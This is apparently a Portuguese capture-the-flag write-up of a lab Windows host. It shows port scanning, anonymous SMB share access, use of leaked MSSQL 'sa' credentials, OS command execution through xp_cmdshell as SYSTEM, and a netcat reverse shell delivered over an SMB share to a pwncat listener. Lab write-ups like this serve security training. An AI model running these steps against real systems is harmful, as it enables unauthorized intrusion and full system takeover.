Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.
Escaneie portas do alvo para identificar serviços.
Explore e baixe arquivos interessantes do SMB.
Use o MSSQL para explorar formas de execução remota de comandos.
Obtenha uma shell reversa na máquina alvo.
Verifique o fluxo de dados alternativos (ADS) no arquivo do root.
Reconhecimento de Rede
Descoberta de Hosts Ativos
O primeiro passo foi identificar os hosts ativos na rede local. Para isso, utilizei a ferramenta arp-scan, que realiza uma varredura ARP passiva. Este método é eficaz para descobrir dispositivos que estão na mesma sub-rede, uma vez que a comunicação ARP é comum entre dispositivos conectados.
O scan revelou que a máquina alvo estava no IP 10.0.2.8. Esse foi o meu ponto de partida para os próximos passos.
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 128 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.
┌──(root㉿attacker)-[/home/kali/CTF]└─#ping-c110.0.2.8PING10.0.2.8 (10.0.2.8) 56(84) bytes of data.64bytesfrom10.0.2.8:icmp_seq=1ttl=128time=2.62ms---10.0.2.8pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=2.619/2.619/2.619/0.000ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap para verificar todas as portas (1-65535) no alvo. A varredura foi configurada para buscar por serviços, versões e scripts comumente usados para obter mais informações sobre os serviços rodando.
Na enumeração, é retornado várias portas, chamando a atenção:
Porta 445 (Microsoft SMB)
Porta 49992 (Microsoft SQL Server 2017)
Visualizando Resultados do Nmap
Para facilitar a análise dos resultados do Nmap, utilizamos o nmap-bootstrap-xsl, que converte os arquivos de saída XML para um formato HTML visualmente mais atraente.
Isso gerou um relatório visual que ajudou a organizar melhor as informações da varredura.
Serviço SMB (porta 445): Esse serviço pode oferecer vulnerabilidades comuns em servidores Windows, especialmente em sistemas que não estão atualizados.
Microsoft SQL Server (porta 49992): Um banco de dados exposto dessa forma é um alvo potencial para enumeração de credenciais e exploração, especialmente se for possível acesso a usuários ou privilégios administrativos no SQL Server.
Explorando o SMB
Reconhecimento inicial de SMB
Ao iniciar a exploração, descobrimos que o alvo está rodando uma versão do Windows Server 2019 através de uma verificação com o crackmapexec. Esta etapa nos dá uma ideia da superfície de ataque e das versões dos sistemas envolvidos.
┌──(root㉿attacker)-[/home/kali/CTF]└─#crackmapexecsmb10.0.2.8SMB 10.0.2.8 445 DESKTOP-M464J3M [*] Windows 10 / Server 2019 Build 19041 x64 (name:DESKTOP-M464J3M) (domain:DESKTOP-M464J3M) (signing:False) (SMBv1:False)
Listagem de compartilhamentos SMB sem credenciais
Na sequência, tentamos enumerar os compartilhamentos SMB usando uma sessão sem credenciais. Isso nos dá acesso às pastas compartilhadas que têm permissões de leitura e escrita, o que pode ser explorado posteriormente.
O compartilhamento Compac possui permissões de leitura e escrita, o que já representa um potencial vetor de ataque.
Acessando o compartilhamento Compac
Usamos o smbclient para acessar o conteúdo desse compartilhamento. A listagem de diretórios revela a presença de pastas que podem conter arquivos interessantes.
Conteúdo de SQL.txt Ao ler o conteúdo do arquivo, encontramos credenciais potencialmente úteis para o serviço MSSQL exposto:
┌──(root㉿attacker)-[/home/kali/CTF]└─#catSQL.txtSQL2017InstanciaCOMPACsaContpaqi2023.ip127.0.0.1Tipparaterminarinstalaciones1) Ejecutar seguridad de iconoSobreeliconoasegurarsequedigaejecutarcomoAdministrador.2) Ejecutar el comando regedit...Buscar la llave Hkey Local Machine, luego Software, luego Wow32, Computacion en Accion...(abri pantalla con boton del lado derecho
dondediceseguridadyverqueaparezca"everyone"ydarlecontroltotal
Essa credencial chama atenção, já que podemos utilizá-la no serviço MSSQL.
Explorando o MSSQL
Verificação da credencial
Validamos que a credencial extraída é válida no host alvo usando o crackmapexec.
┌──(root㉿attacker)-[/home/kali/CTF]└─#crackmapexecsmb10.0.2.8-u'sa'-p'Contpaqi2023.'SMB 10.0.2.8 445 DESKTOP-M464J3M [*] Windows 10 / Server 2019 Build 19041 x64 (name:DESKTOP-M464J3M) (domain:DESKTOP-M464J3M) (signing:False) (SMBv1:False)
SMB10.0.2.8445DESKTOP-M464J3M [+] DESKTOP-M464J3M\sa:Contpaqi2023.
Conectando ao MSSQL
Agora, usamos o sqsh para nos conectar ao MSSQL e confirmar se a credencial extraída pode ser usada para obter acesso administrativo ao banco de dados.
┌──(root㉿attacker)-[/home/kali/CTF]└─#sqsh-S10.0.2.8:49992-U'sa'-P'Contpaqi2023.'sqsh-2.5.16.1Copyright (C) 1995-2001 Scott C. GrayPortionsCopyright (C) 2004-2014 Michael Peppler and Martin WesdorpThisisfreesoftwarewithABSOLUTELYNOWARRANTYFormoreinformationtype'\warranty'
Enumeração do ambiente MSSQL
Uma vez conectados, realizamos uma enumeração básica para obter informações como a versão do SQL Server, usuário em execução, e listar as bases de dados existentes.
1>select @@version;2>go Microsoft SQLServer2017 (RTM) -14.0.1000.169 (X64) Aug 22201717:04:49 Copyright (C) 2017 Microsoft Corporation Express Edition (64-bit) onWindows10 Home 10.0<X64> (Build 19045: ) (Hypervisor)(1row affected)
1>selectuser_name();2>go dbo (1row affected)
1>SELECTnameFROM master.dbo.sysdatabases;2>gonamemaster tempdb model msdb
GeneralesSQL DB_Directory ADD_Catalogos (7rows affected)
Os resultados revelam que estamos em uma instância do SQL Server 2017 e que estamos executando com permissões de dbo, o que nos dá bastante controle sobre o banco de dados.
Execução de comandos via xp_cmdshell
Testamos o comando xp_cmdshell, que nos permite executar comandos diretamente no sistema operacional alvo. Ao executar um simples whoami, descobrimos que o processo MSSQL está sendo executado como nt authority\system, o que nos dá controle total sobre o sistema.
1> xp_cmdshell "whoami"2>gooutput nt authority\systemNULL(2rows affected, returnstatus=0)
Esse acesso abre a possibilidade de realizar movimentos laterais no sistema ou até mesmo escalada de privilégios para obter o controle completo do host.
Por meio da execução de comandos via xp_cmdshell, uma das primeiras coisas que quis fazer foi identificar o IP interno do alvo. Isso é crucial para confirmar a conectividade entre a máquina do atacante e o host comprometido, além de ajudar a mapear a rede local em um ambiente mais amplo.
Utilizei o comando ipconfig para exibir a configuração de rede do sistema comprometido:
1> xp_cmdshell "ipconfig"2>gooutputNULL Configuración IP de Windows NULL
NULL Adaptador de Ethernet Ethernet: NULL
Sufijo DNS específico para la conexión. . : home Vínculo: dirección IPv6 local. . . : fe80::441c:ff85:b5cf:7a6d%5 Dirección IPv4. . . . . . . . . . . . . . : 10.0.2.8 Máscara de subred . . . . . . . . . . . . : 255.255.255.0 Puerta de enlace predeterminada . . . . . : 10.0.2.1NULL(12rows affected, returnstatus=0)
O output do comando ipconfig nos dá várias informações valiosas:
Endereço IPv4: O alvo está utilizando o IP interno 10.0.2.8 com a máscara de sub-rede 255.255.255.0.
Gateway padrão: A máquina se comunica com o gateway 10.0.2.1.
Esses detalhes são importantes para entender o contexto de rede do alvo. Sabendo que o IP da minha máquina atacante é 10.0.2.15, já temos indícios de que estamos na mesma sub-rede.
Testando Conectividade
Para garantir que as máquinas estavam realmente se comunicando, fiz um teste simples de ping do host comprometido para minha máquina atacante. Primeiro, preparei a captura de pacotes ICMP (protocolo utilizado pelo ping) com o tcpdump no meu lado:
Com o tcpdump rodando, executei o comando ping no alvo para verificar se a máquina comprometida era capaz de se comunicar com a minha máquina atacante:
1> xp_cmdshell "ping -n 2 10.0.2.15"2>gooutput NULL
Haciendo ping a 10.0.2.15 con 32 bytes de datos:
Respuesta desde 10.0.2.15: bytes=32 tiempo=3ms TTL=64 Respuesta desde 10.0.2.15: bytes=32 tiempo=1ms TTL=64NULL Estadísticas de ping para 10.0.2.15: Paquetes: enviados =2, recibidos =2, perdidos =0 (0% perdidos), Tiempos aproximados de ida y vuelta en milisegundos: Mínimo = 1ms, Máximo = 3ms, Media = 2ms NULL(11rows affected, returnstatus=0)
No lado do atacante, o tcpdump capturou os pacotes ICMP conforme esperado:
A captura confirma que os pacotes ICMP foram trocados entre a máquina do alvo e a minha, validando a comunicação entre os hosts.
Ganhando Acesso ao Alvo
Agora que confirmei a comunicação, a ideia é estabelecer uma reverse shell a partir do alvo. O método que utilizei evita a necessidade de baixar ferramentas diretamente no alvo, o que poderia gerar alertas. Em vez disso, usei um compartilhamento de rede SMB para fornecer o Netcat ao alvo, permitindo que ele se conecte de volta à minha máquina e execute uma reverse shell.
Passos seguidos:
Download do Netcat para Windows:
Para enviar a reverse shell, optamos por usar o netcat. Baixamos uma versão de 64 bits para Windows diretamente do site eternallybored.org e extraímos o executável nc64.exe usando o comando 7z.
Em vez de enviar o binário diretamente ao alvo, configuramos um servidor SMB com o impacket-smbserver, compartilhando o diretório contendo o nc64.exe para que o alvo pudesse acessá-lo remotamente.
Enquanto preparávamos o alvo, configuramos o pwncat ****para escutar na porta 443, onde receberíamos a shell reversa.
┌──(root㉿attacker)-[/home/kali/CTF]└─#pwncat-l443
Executando o Netcat no Alvo via SMB:
Utilizando a xp_cmdshell do alvo, o Netcat foi executado diretamente a partir do compartilhamento SMB. Com isso, enviamos a shell reversa para o listener configurado na máquina atacante, garantindo que não precisássemos baixar ou instalar nada no sistema alvo.
A conexão foi bem-sucedida, como mostrado pelos logs do servidor SMB, que confirmaram o acesso ao compartilhamento, e pelo listener pwncat que recebeu a shell com privilégios de NT AUTHORITY\SYSTEM, o nível mais alto de privilégio em sistemas Windows.
A próxima etapa foi localizar a root flag, tradicionalmente armazenada no diretório do administrador. No diretório C:\Users\admin\Desktop, encontrei um arquivo chamado root.txt:
Curiosamente, o conteúdo do arquivo root.txt não continha a flag tradicional. Em vez disso, exibiu um desenho ASCII, o que me levou a suspeitar que a flag estivesse escondida em algum outro lugar.
Descobrindo um Alternate Data Stream (ADS)
Ao enumerar o diretório com o comando dir /r, que exibe fluxos de dados alternativos (ADS), descobri que o arquivo root.txt continha um fluxo adicional chamado HI: